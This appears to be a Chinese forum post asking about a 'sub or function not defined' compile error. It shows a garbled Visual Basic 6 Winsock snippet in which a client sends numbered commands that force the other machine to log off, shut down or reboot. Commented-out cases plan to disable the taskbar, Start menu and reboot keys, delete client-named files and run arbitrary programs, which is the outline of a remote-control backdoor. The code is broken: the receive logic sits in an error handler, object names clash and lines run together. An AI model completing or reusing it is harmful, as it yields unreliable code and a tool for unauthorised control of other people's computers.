编译错误子程序或函数未定义


Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)     Dim i As Long     Dim mKey As String
     Dim Ret As Long     tcpServer.GetData strData    '接收数据并存入strData     For i = 1 To Len(strData)     '分离strData中的命令     If Mid(strData, i, 1) = "@" Then     mKey = Left(strData, i - 1)     '把命令ID号存入mKey       '把命令参数存入strData     strData = Right(strData, Len(strData) - i)     Exit For     End If     Next i     Select Case Val(mKey)     Case 1
     
   Ret = ExitWindowsEx(EWX_LOGOFF, 0)
     '驱动器名目录名文件名     Case 2
     Ret = ExitWindowsEx(EWX_SHUTDOWN, 0)     '强制关闭服务器端的计算机     Case 3
     
   Ret = ExitWindowsEx(EWX_REBOOT, 0)
     '强制重启服务器端的计算机     'Case 4     '屏蔽任务栏窗口     'Case 5     '屏蔽开始菜单     'Case 6
     
     '按照客户机端传过来的文件名或目录名而删除它
     'Case 7     '屏蔽热启动键     'Case 8    ' 运行服务器端的任何程序     End SelectEnd Sub